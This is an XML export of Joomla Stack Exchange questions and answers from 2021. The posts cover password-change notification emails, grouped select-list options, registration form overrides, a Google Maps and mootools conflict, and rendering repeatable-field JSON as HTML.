  <row Id="28972" PostTypeId="1" CreationDate="2021-03-29T21:40:00.740" Score="1" ViewCount="130" Body="&lt;p&gt;In order to comply with certain US regulations - we need the ability to send a confirmation to the user once their password has been changed. Right now, Joomla will send an email link asking the user to click the link in order to change their password - but there does not seem to be an option to send an email to the user AFTER the user completes the password change.&lt;/p&gt;&#xA;&lt;p&gt;This message will state something like: &amp;quot;Your password has successfully been changed. If you did not request this change - please login to your account or contact support&amp;quot;.&lt;/p&gt;&#xA;&lt;p&gt;I have looked at component\com_users\controllers\reset.php&#xA;This seems to be there area where a triggered email could go out to the user (around line 182):&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;    // Complete succeeded.&#xA;    // Proceed to the login form.&#xA;    $message = JText::_('COM_USERS_RESET_COMPLETE_SUCCESS');&#xA;    $this-&amp;gt;setRedirect(JRoute::_('index.php?option=com_users&amp;amp;view=login', false), $message);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any ideas on the best way to implement this?&lt;/p&gt;&#xA;" OwnerUserId="7936" LastEditorUserId="7936" LastEditDate="2021-03-29T22:58:28.210" LastActivityDate="2021-12-26T19:03:10.313" Title="Email confirmation after joomla password R e s e t" Tags="|joomla-3.x|account-password|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28973" PostTypeId="1" AcceptedAnswerId="28977" CreationDate="2021-03-30T17:30:27.677" Score="2" ViewCount="308" Body="&lt;p&gt;I have a working list based on an sql query. Now I would like to add some spacers (not selectable items).&lt;/p&gt;&#xA;&lt;p&gt;When doing this manually in xml you can add the disabled attr to that item, but how can I do that when filling the list like so:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$cities = array(&#xA;    array('value' =&amp;gt; 1, 'text' =&amp;gt; 'New York'),&#xA;    array('value' =&amp;gt; 2, 'text' =&amp;gt; 'Chicago'),&#xA;    array('value' =&amp;gt; 3, 'text' =&amp;gt; 'San Francisco'),&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I have tried to add &lt;code&gt;'disabled' =&amp;gt; 'true'&lt;/code&gt; to the item array and some different versions of &lt;code&gt;'attribute' =&amp;gt; 'disabled'&lt;/code&gt;, but none of them worked so far.&lt;/p&gt;&#xA;&lt;p&gt;&lt;strong&gt;EDIT:&lt;/strong&gt;&#xA;What it should look like:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;option value=&amp;quot;&amp;quot; disabled&amp;gt;---Letters---&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;x&amp;quot;&amp;gt;X&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;y&amp;quot;&amp;gt;Y&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;z&amp;quot;&amp;gt;Z&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;&amp;quot; disabled&amp;gt;---Numbers---&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;1&amp;quot;&amp;gt;1&amp;lt;/option&amp;gt;&#xA;&amp;lt;option value=&amp;quot;2&amp;quot;&amp;gt;2&amp;lt;/option&amp;gt;&#xA;...&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;In the rendered output, Letters and Numbers should just be a &amp;quot;divider&amp;quot; in the select list that is not selectable - &amp;quot;optgroups&amp;quot; are the right keyword, yes.&lt;/p&gt;&#xA;&lt;p&gt;Edit 2:&#xA;Okay I've got it now, partly, with the information from mickmackusa:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;public function getOptions() {&#xA;    $type = $this-&amp;gt;element['context'];&#xA;    $component = $this-&amp;gt;element['component'] ? $this-&amp;gt;element['component'] : 'com_content';&#xA;    $context = $component . '.' . $type;&#xA;&#xA;    $jcFields  = FieldsHelper::getFields($context, '*', true); // get custom field names by article id&#xA;&#xA;    $options = array();&#xA;&#xA;    $options[] = JHTML::_('select.optgroup', '---Article---');&#xA;    $options[] = JHTML::_( 'select.option', 'nxItemId', '***Item ID***' );&#xA;&#xA;    $options[] = JHTML::_('select.optgroup', '---Customfields---');&#xA;    foreach ($jcFields as $jcField){&#xA;        $options[] = JHTML::_( 'select.option', $jcField-&amp;gt;name, $jcField-&amp;gt;title );&#xA;    }&#xA;    &#xA;    return $options;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;The second optgroup header (&lt;em&gt;---Customfields---&lt;/em&gt;) will not be rendered.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2021-03-31T12:45:23.990" LastActivityDate="2021-03-31T13:18:18.237" Title="custom form list field add disabled options - create optgroups" Tags="|custom-field|jform|form|select|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 4.0" />
  <row Id="28974" PostTypeId="1" CreationDate="2021-03-31T02:03:08.887" Score="0" ViewCount="166" Body="&lt;ol&gt;&#xA;&lt;li&gt;How to create proper override folder for com_user? Apparently, simply copying it to template/html folder doesn't work&lt;/li&gt;&#xA;&lt;li&gt;What is displayed on registration page is largely controlled by the .xml file, can it also be overridden?&lt;/li&gt;&#xA;&lt;li&gt;My goal is to remove the required &amp;quot;Name&amp;quot; field. Someone has taught me an alternative to remove this field in user plugin. I did this, however, although the &amp;quot;Name&amp;quot; field doesn't show on registration page, it is still at work and prevent user from submit the form because they haven't filled this required field.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="5680" LastActivityDate="2023-12-16T17:00:55.070" Title="How to customize Joomla registration form?" Tags="|plugin|user|registration|com-users|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28975" PostTypeId="1" CreationDate="2021-03-31T07:53:05.770" Score="0" ViewCount="158" Body="&lt;p&gt;My main menu is linking category blog which is automatically displayed in component area, and I want to put a slider module in component area too, but only in home page, so modules on &amp;quot;Right&amp;quot; position would be right next to the slider.&lt;/p&gt;&#xA;&lt;p&gt;I was reading this post: &lt;a href=&quot;https://joomla.stackexchange.com/questions/5056/how-to-display-module-in-component-area&quot;&gt;How to display module in component area&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;But I don't understand in which file should I put code samples.&lt;/p&gt;&#xA;&lt;p&gt;Is it possible to make this?&lt;/p&gt;&#xA;" OwnerUserId="15041" LastEditorUserId="12352" LastEditDate="2021-03-31T12:37:32.503" LastActivityDate="2023-12-20T13:07:05.850" Title="Add module to Component area" Tags="|module|templates|joomla-3.9|" AnswerCount="1" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28976" PostTypeId="2" ParentId="28974" CreationDate="2021-03-31T10:50:42.343" Score="0" Body="&lt;p&gt;Plugin: &lt;a href=&quot;https://github.com/vlasenkofedor/usergroup&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/vlasenkofedor/usergroup&lt;/a&gt;&#xA;See README.md: in Main options the second &amp;quot;Remove the Name field. The name field will not be displayed. Will be replaced by the name from the mail&amp;quot;&lt;/p&gt;&#xA;" OwnerUserId="8525" LastActivityDate="2021-03-31T10:50:42.343" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28977" PostTypeId="2" ParentId="28973" CreationDate="2021-03-31T11:49:58.753" Score="2" Body="&lt;p&gt;My question could be solved by the comments of mickmackusa and Sharky.&#xA;I have finally extended the &lt;em&gt;JFormFieldGroupedList&lt;/em&gt; as follows:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;defined('JPATH_PLATFORM') or die;&#xA;JFormHelper::loadFieldClass('groupedlist');&#xA;JLoader::register('FieldsHelper', JPATH_ADMINISTRATOR . '/components/com_fields/helpers/fields.php'); //load fields helper&#xA;&#xA;class JFormFieldNxCustomfieldListKey extends JFormFieldGroupedList&#xA;{&#xA;    protected $type = 'nxCustomfieldListKey';&#xA;&#xA;    public function getGroups() {&#xA;&#xA;        $jcArticleFields  = FieldsHelper::getFields('com_content.article', '*', true); // get custom field names by article id&#xA;        $jcContactFields  = FieldsHelper::getFields('com_contact.contact', '*', true); // get custom field names by article id&#xA;&#xA;        $groups = [];&#xA;&#xA;        // Add Module Style Field&#xA;        $tmp = JText::_('MOD_NX_GROUP_BASIC');&#xA;        $groups[$tmp][] = JHtml::_('select.option', '', JText::_('MOD_NX_EXPOSER_DISABLED'));&#xA;        $groups[$tmp][] = JHtml::_('select.option', 'nxItemId', 'Item ID');&#xA;&#xA;&#xA;        // Create one new option object for each available style, grouped by templates&#xA;        $groups['Article Fields'] = [];&#xA;        $groups['Contact CustomFields'] = [];&#xA;&#xA;        $grp = JText::_('MOD_NX_ARTICLE_FIELDS');&#xA;        foreach ($jcArticleFields as $jcField){&#xA;            $groups[$grp][] = JHtml::_('select.option', $jcField-&amp;gt;name, $jcField-&amp;gt;title);&#xA;        }&#xA;&#xA;        $grp = JText::_('MOD_NX_CONTACT_FIELDS');&#xA;        foreach ($jcContactFields as $jcField){&#xA;            $groups[$grp][] = JHtml::_('select.option', $jcField-&amp;gt;name, $jcField-&amp;gt;title);&#xA;        }&#xA;&#xA;        return $groups;&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="9407" LastEditorUserId="12352" LastEditDate="2021-03-31T13:18:18.237" LastActivityDate="2021-03-31T13:18:18.237" CommentCount="6" ContentLicense="CC BY-SA 4.0" />
  <row Id="28978" PostTypeId="1" CreationDate="2021-03-31T15:14:29.757" Score="1" ViewCount="294" Body="&lt;p&gt;My component has the functionality to load google map (Maps API version 3 with valid API key).&lt;/p&gt;&#xA;&lt;p&gt;My infowindow above the marker stops working. One week back everything was smooth and working good.&lt;/p&gt;&#xA;&lt;p&gt;Here is the code:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;script type=&amp;quot;text/javascript&amp;quot; src=&amp;quot;https://maps.googleapis.com/maps/api/js?key=&amp;lt;API-KEY&amp;gt;&amp;amp;sensor=false&amp;quot;&amp;gt;&amp;lt;/script&amp;gt;&#xA;&amp;lt;script type=&amp;quot;text/javascript&amp;quot;&amp;gt;&#xA;map = new google.maps.Map(document.getElementById(&amp;quot;map_canvas&amp;quot;), {&#xA;        center: new google.maps.LatLng(37.4419, -122.1419),&#xA;        zoom: 15,&#xA;        mapTypeId: google.maps.MapTypeId.ROADMAP,&#xA;        mapTypeControl: true,&#xA;        mapTypeControlOptions: {&#xA;            style: google.maps.MapTypeControlStyle.HORIZONTAL_BAR,&#xA;            position: google.maps.ControlPosition.TOP_RIGHT&#xA;        },&#xA;        panControl: true,&#xA;        panControlOptions: {&#xA;            position: google.maps.ControlPosition.TOP_RIGHT&#xA;        },&#xA;        zoomControl: true,&#xA;        zoomControlOptions: {&#xA;            style: google.maps.ZoomControlStyle.LARGE,&#xA;            position: google.maps.ControlPosition.LEFT_TOP&#xA;        }&#xA;    });&#xA;&#xA;var marker = new google.maps.Marker({&#xA;                        map: map,&#xA;                        draggable:true,&#xA;                        position: results[0].geometry.location&#xA;                    });&#xA;&#xA;var infowindow = new google.maps.InfoWindow();&#xA;infowindow.setContent(&amp;quot;Lorem Ipsum&amp;quot;);&#xA;infowindow.open(map, marker); // On this line the problem is occurring&#xA;&amp;lt;/script&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;After investigating I noticed that it is not working due to mootools.js (version: 1.11) file. I cannot remove mootools files as it is breaking the default behaviour of the joomla.&lt;/p&gt;&#xA;&lt;p&gt;The google map infowindow is working fine when I moved my code to non joomla project.&lt;/p&gt;&#xA;&lt;p&gt;Below is the error which I am getting in the console log. Sharing first 2 lines of the error because it is big and it contains the API key.&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;Uncaught (in promise) Object { message: &amp;quot;View: element invalid: not an instance of Element&amp;quot;, name: &amp;quot;InvalidValueError&amp;quot;, stack: &amp;quot;ie@https://maps.googleapis.com/maps/api/js?key=......etc&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Any help is very much appreciated. Thanks&lt;/p&gt;&#xA;" OwnerUserId="15044" LastEditorUserId="15044" LastEditDate="2021-04-01T06:01:10.230" LastActivityDate="2023-07-11T10:27:06.987" Title="Google map infowindow stops working on Joomla 1.5 version" Tags="|javascript|joomla-1.5|google|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="28979" PostTypeId="2" ParentId="28972" CreationDate="2021-03-31T15:24:21.860" Score="1" Body="&lt;p&gt;You can develop a custom plugin binded to user events to trigger your custom code when the user is modified.&lt;/p&gt;&#xA;&lt;p&gt;Here you can find a guide to create the plugin and the event to use:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_Plugin_for_Joomla&quot; rel=&quot;nofollow noreferrer&quot;&gt;Creating a Plugin for Joomla&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/Plugin/Events/User#onUserBeforeSave&quot; rel=&quot;nofollow noreferrer&quot;&gt;User event: &lt;strong&gt;onUserBeforeSave&lt;/strong&gt;&lt;/a&gt;&lt;/p&gt;&#xA;&lt;p&gt;With this solution your code will be safe in future updates avoiding direct edits on Joomla code. There are also a lot of events you can use to trigger code from a plugin.&lt;/p&gt;&#xA;" OwnerUserId="3585" LastActivityDate="2021-03-31T15:24:21.860" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28980" PostTypeId="2" ParentId="28970" CreationDate="2021-03-31T20:41:55.700" Score="2" Body="&lt;p&gt;This is from Litespeed Cache.  It is somehow related to the Joomla Login.  You can test this is true by uninstalling the Litespeed Cache plugin.&lt;/p&gt;&#xA;&lt;p&gt;I went into cPanel and I went to Terminal and I did a search by copying and pasting this (right click to paste)&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;grep -Ri purgeprivate public_html&lt;/code&gt;&lt;/p&gt;&#xA;&lt;p&gt;and it found:&lt;/p&gt;&#xA;&lt;blockquote&gt;&#xA;&lt;p&gt;$this-&amp;gt;plugin-&amp;gt;lscInstance-&amp;gt;purgePrivate(&amp;quot;com_virtuemart.cart&amp;quot;);&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&lt;p&gt;Problem found.  Solution awaiting.  Raised on GitHub here:&lt;/p&gt;&#xA;&lt;p&gt;&lt;a href=&quot;https://github.com/litespeedtech/lscache-joomla/issues/42&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://github.com/litespeedtech/lscache-joomla/issues/42&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2022-01-04T13:02:44.797" LastActivityDate="2022-01-04T13:02:44.797" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28981" PostTypeId="1" CreationDate="2021-03-31T23:04:26.893" Score="1" ViewCount="24" Body="&lt;p&gt;I am new to Joomla.&#xA;I have a question. I'll clarify my question:&lt;/p&gt;&#xA;&lt;p&gt;In the calendar that was we make from the calendar field. &lt;a href=&quot;https://docs.joomla.org/Calendar_form_field_type&quot; rel=&quot;nofollow noreferrer&quot;&gt;This link&lt;/a&gt; is calendar field doc.&#xA;when a user comes to the site this calendar uses his time no server time. for example, now we are on 31, March. if the user changes his time to 11, March; when this user clicks on Today the field had sets Today as 11 March, not 31 March. I want this calendar to use our server time and the time zone we set in config. say to me if it is not possible.&lt;/p&gt;&#xA;" OwnerUserId="15006" LastActivityDate="2021-04-04T18:53:49.413" Title="set server time as default at the calendar" Tags="|joomla-3.x|configuration|date|calendar|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28983" PostTypeId="1" AcceptedAnswerId="28985" CreationDate="2021-04-01T12:48:00.030" Score="0" ViewCount="58" Body="&lt;p&gt;Whenever I use PHP7.4 I cannot change page, changing back to PHP7.3 works.&lt;/p&gt;&#xA;&lt;p&gt;Is there a PHP setting I need to activate to get the redirects to work?&lt;/p&gt;&#xA;&lt;p&gt;I'm getting&lt;/p&gt;&#xA;&lt;p&gt;** 404 Not Found ** and it's not my 404 page it's the apache one.&lt;/p&gt;&#xA;&lt;p&gt;There are no PHP error logs for this site (new site).&lt;/p&gt;&#xA;&lt;p&gt;This is using J2Store on the site, which works on the homepage.  But individual pages for J2Store or the core do not work.  It's a 404 at any point, but downgrading to PHP7.3 works.&lt;/p&gt;&#xA;&lt;p&gt;Browser console shows no errors other than 404 not found.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastEditorUserId="7164" LastEditDate="2021-04-01T13:31:51.043" LastActivityDate="2021-04-01T13:43:12.703" Title="Joomla routing doesn't work for inner pages on PHP7.4" Tags="|php7|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="28984" PostTypeId="1" AcceptedAnswerId="28988" CreationDate="2021-04-01T13:09:25.430" Score="1" ViewCount="81" Body="&lt;p&gt;In my custom component, I use a repeatable field.&lt;/p&gt;&#xA;&lt;p&gt;Sometimes it is possible that a &lt;code&gt;url_partenaire&lt;/code&gt; element is an empty string because it is not mandatory.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;var_dump($this-&amp;gt;item-&amp;gt;logo_repeatable_list)&lt;/code&gt; gives this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;string(157) &amp;quot;{&#xA;&amp;quot;logo&amp;quot;: &#xA;[&amp;quot;images/website_logo_1.png&amp;quot;,&amp;quot;images/website_logo_2.png&amp;quot;,&amp;quot;images/website_logo_3.png&amp;quot;],&#xA;&amp;quot;url_partenaire&amp;quot;: &#xA;[&amp;quot;&amp;quot;,&amp;quot;https://www.url_website_2.fr&amp;quot;,&amp;quot;&amp;quot;]&#xA;}&amp;quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I need to create this:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;images/website_logo_1.png&amp;quot;&amp;gt;&#xA;&amp;lt;a href=&amp;quot;https://www.url_website_2.fr&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;images/website_logo_2.png&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;&#xA;&amp;lt;img src=&amp;quot;images/website_logo_3.png&amp;quot;&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I begin with this, but it works only if there is one field in the repeatable field:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;$jsonPartenaires = json_decode($this-&amp;gt;item-&amp;gt;logo_repeatable_list, true);&#xA;?&amp;gt;&#xA;&#xA;&amp;lt;?php foreach ($jsonPartenaires as $key =&amp;gt; $value) {&#xA;    foreach ($value as $content) echo '&amp;lt;img src=&amp;quot;'. $content . '&amp;quot;&amp;gt;';&#xA;}&#xA;?&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;I don't really know what to do now.&lt;/p&gt;&#xA;" OwnerUserId="14584" LastEditorUserId="12352" LastEditDate="2021-04-02T11:25:36.223" LastActivityDate="2021-04-02T11:25:36.223" Title="Create dynamic html markup from values in repeatable field json" Tags="|subform|json|repeatable-field|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28985" PostTypeId="2" ParentId="28983" CreationDate="2021-04-01T13:43:12.703" Score="0" Body="&lt;p&gt;Oh crap.&lt;/p&gt;&#xA;&lt;p&gt;It would help if you have &lt;code&gt;.htaccess&lt;/code&gt; activated.&lt;/p&gt;&#xA;&lt;p&gt;I could have sworn this happened on two occaisions.&lt;/p&gt;&#xA;" OwnerUserId="7164" LastActivityDate="2021-04-01T13:43:12.703" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28986" PostTypeId="1" CreationDate="2021-04-01T18:56:14.340" Score="0" ViewCount="92" Body="&lt;p&gt;I'm trying to display to users an editor in the front end of my website (in a logged in area)&lt;/p&gt;&#xA;&lt;p&gt;I have:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;// IMPORT EDITOR CLASS&#xA;jimport( 'joomla.html.editor' );&#xA;&#xA;// GET EDITOR SELECTED IN GLOBAL SETTINGS&#xA;$config = JFactory::getConfig();&#xA;$global_editor = $config-&amp;gt;get( 'editor' );&#xA;&#xA;// GET USER'S DEFAULT EDITOR&#xA;$user_editor = JFactory::getUser()-&amp;gt;getParam(&amp;quot;editor&amp;quot;);&#xA;&#xA;$stuff = JFactory::getUser()-&amp;gt;getParam(&amp;quot;editor&amp;quot;);&#xA;&#xA;if($user_editor &amp;amp;&amp;amp; $user_editor !== 'JEditor') {&#xA;    $selected_editor = $user_editor;&#xA;} else {&#xA;    $selected_editor = $global_editor;&#xA;}&#xA;&#xA;// INSTANTIATE THE EDITOR&#xA;$editor = JEditor::getInstance($selected_editor);&#xA;&#xA;// SET EDITOR PARAMS&#xA;$params = array( 'smilies'=&amp;gt; '0' ,&#xA;    'style'  =&amp;gt; '1' ,&#xA;    'layer'  =&amp;gt; '0' ,&#xA;    'table'  =&amp;gt; '0' ,&#xA;    'clear_entities'=&amp;gt;'0'&#xA;);&#xA;&#xA;// DISPLAY THE EDITOR (name, html, width, height, columns, rows, bottom buttons, id, asset, author, params)&#xA;echo $editor-&amp;gt;display('editMain', '', '75%', '400', '20', '20', 'true', null, null, null, $params);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;But no matter what I do the buttons won't show on load.  Instead you need to click Toggle editor to get them to show.  None of the other editors work so can't tell if it's just tinymce.&lt;/p&gt;&#xA;&lt;p&gt;thanks&lt;/p&gt;&#xA;" OwnerUserId="12248" LastActivityDate="2024-03-31T18:05:45.637" Title="Getting Editor to show on front (site) of website" Tags="|joomla-3.x|custom-component|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28987" PostTypeId="2" ParentId="28984" CreationDate="2021-04-01T19:35:14.163" Score="0" Body="&lt;p&gt;If you have only 2 arrays (URLs and logos), you can use &lt;code&gt;array_combine()&lt;/code&gt; to create an array with one as the key and the other as value:&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;$data = array_combine($jsonPartenaires['url_partenaire'], $jsonPartenaires['logo']);&#xA;&#xA;foreach ($data as $url =&amp;gt; $logo) {&#xA;    echo '&amp;lt;a href=&amp;quot;' . $url . '&amp;quot;&amp;gt;&amp;lt;img src=&amp;quot;'. $logo . '&amp;quot;&amp;gt;&amp;lt;/a&amp;gt;';&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2021-04-01T19:35:14.163" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28988" PostTypeId="2" ParentId="28984" CreationDate="2021-04-01T21:47:04.457" Score="1" Body="&lt;p&gt;Since your logos and urls exist in pairs, you can use a single loop over the logos and access the urls via the shared index.&lt;/p&gt;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/o2q6v&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;foreach ($jsonPartenaires['logo'] as $i =&amp;gt; $logo) {&#xA;    $html = sprintf('&amp;lt;img src=&amp;quot;%s&amp;quot;&amp;gt;', $logo);&#xA;    if ($jsonPartenaires['url_partenaire'][$i]) {&#xA;        $html = sprintf(&#xA;            '&amp;lt;a href=&amp;quot;%s&amp;quot;&amp;gt;%s&amp;lt;/a&amp;gt;',&#xA;            $jsonPartenaires['url_partenaire'][$i],&#xA;            $html&#xA;        );&#xA;    }&#xA;    echo $html . &amp;quot;&amp;lt;br&amp;gt;&amp;quot;;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Output: (tabbed and spaced for readability)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;img src=&amp;quot;images/website_logo_1.png&amp;quot;&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;a href=&amp;quot;https://www.url_website_2.fr&amp;quot;&amp;gt;&#xA;    &amp;lt;img src=&amp;quot;images/website_logo_2.png&amp;quot;&amp;gt;&#xA;&amp;lt;/a&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&amp;lt;img src=&amp;quot;images/website_logo_3.png&amp;quot;&amp;gt;&#xA;&amp;lt;br&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;p&gt;Using &lt;code&gt;printf()&lt;/code&gt; or &lt;code&gt;sprintf()&lt;/code&gt; (the silent version), enables you to bind variables to a string without the noise of string concatenation or interpolation.  If you ever want to call a string function on a variable (to prepare the strings, you can just wrap the parameters containing variables in the desired function(s).&lt;/p&gt;&#xA;&lt;hr /&gt;&#xA;&lt;p&gt;I'll admit that in my own project, I'd probably use functional syntax.  This allows you to cleanly join the html elements with &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt; with no trailing &lt;code&gt;&amp;lt;br&amp;gt;&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Code: (&lt;a href=&quot;https://3v4l.org/52veN&quot; rel=&quot;nofollow noreferrer&quot;&gt;Demo&lt;/a&gt;)&lt;/p&gt;&#xA;&lt;pre&gt;&lt;code&gt;echo implode(&#xA;         &amp;quot;&amp;lt;br&amp;gt;&amp;quot;,&#xA;         array_map(&#xA;             function($logo, $url) {&#xA;                 $html = sprintf('&amp;lt;img src=&amp;quot;%s&amp;quot;&amp;gt;', $logo);&#xA;                 if ($url) {&#xA;                     $html = sprintf('&amp;lt;a href=&amp;quot;%s&amp;quot;&amp;gt;%s&amp;lt;/a&amp;gt;', $url, $html);&#xA;                 }&#xA;                 return $html;&#xA;             },&#xA;             $jsonPartenaires['logo'],&#xA;             $jsonPartenaires['url_partenaire']&#xA;         )&#xA;     );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2021-04-02T11:19:57.717" LastActivityDate="2021-04-02T11:19:57.717" CommentCount="1" ContentLicense="CC BY-SA 4.0" />
  <row Id="28989" PostTypeId="1" CreationDate="2021-04-01T22:12:48.160" Score="0" ViewCount="105" Body="&lt;p&gt;I am using custom fields in the user section. I am needing to set this required for the front-end users when they are editing their profile, etc. This is working as intended, however, I am needing a way to create users on the backend - without having those fields required for the admin (on the backend).&lt;/p&gt;&#xA;&lt;p&gt;Any thoughts how I can make those fields required only for the front-end users...and not for the admin in the back-end?&lt;/p&gt;&#xA;" OwnerUserId="7936" LastActivityDate="2023-12-19T13:07:40.923" Title="Joomla - User Custom Fields (Required for user on frontend, but not required on backend)" Tags="|joomla-3.x|com-users|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28993" PostTypeId="1" CreationDate="2021-04-02T22:43:22.963" Score="1" ViewCount="70" Body="&lt;p&gt;I cannot find an answer to for several weeks. Perhaps my experience in development is not so great :) One site uses the JCH Optimize plugin and I noticed that after clearing the old memory (cache), the CSS and JS file links do not change, i.e. the names of these files remain old. The problem is that the browser checks the file name and if it has not changed, then the site visitors show the old version of the style file. The question itself, where in the plugin (in which code file) I can add some GET parameters ?vers = 1.1 so that for the browser it is a new file and it would update the information for users. I will be glad to hear any solutions. Thanks.&lt;/p&gt;&#xA;" OwnerUserId="9856" LastEditorUserId="9856" LastEditDate="2021-04-12T19:07:33.447" LastActivityDate="2023-12-29T03:07:55.900" Title="How to add GET parameter to CSS filename in plugin JCH Optimize (Joomla)" Tags="|joomla-3.x|php|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28994" PostTypeId="2" ParentId="28989" CreationDate="2021-04-03T08:40:06.283" Score="0" Body="&lt;p&gt;i would say there are two options:&lt;/p&gt;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;build an override eg. own form for frontend&lt;/li&gt;&#xA;&lt;li&gt;add the required in the frontend with js (&lt;a href=&quot;https://stackoverflow.com/questions/18770369/how-to-set-html5-required-attribute-in-javascript&quot;&gt;https://stackoverflow.com/questions/18770369/how-to-set-html5-required-attribute-in-javascript&lt;/a&gt;)&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&lt;p&gt;it depends on your usecase and „how often“ users will edit this form.&#xA;in both scenarios i would set the default state to not required.&lt;/p&gt;&#xA;" OwnerUserId="9407" LastActivityDate="2021-04-03T08:40:06.283" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="28995" PostTypeId="1" CreationDate="2021-04-03T18:02:54.043" Score="1" ViewCount="29" Body="&lt;p&gt;I am trying to make a page that performs various functions in vanilla Javascript.&lt;/p&gt;&#xA;&lt;p&gt;One of the functions involves submitting form data to Joomla.&lt;/p&gt;&#xA;&lt;p&gt;However the issue I have is that Following the following article:  &lt;a href=&quot;https://docs.joomla.org/Basic_form_guide&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Basic_form_guide&lt;/a&gt; and adding extra buttons has the effect that &lt;em&gt;all&lt;/em&gt; of the buttons on my page try to submit the form to my component.&lt;/p&gt;&#xA;&lt;p&gt;Is there any way to add buttons that don't do this?&lt;/p&gt;&#xA;" OwnerUserId="14667" LastActivityDate="2021-04-03T18:02:54.043" Title="Form With Buttons That Don't Submit Data" Tags="|development|custom-component|form|" AnswerCount="0" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
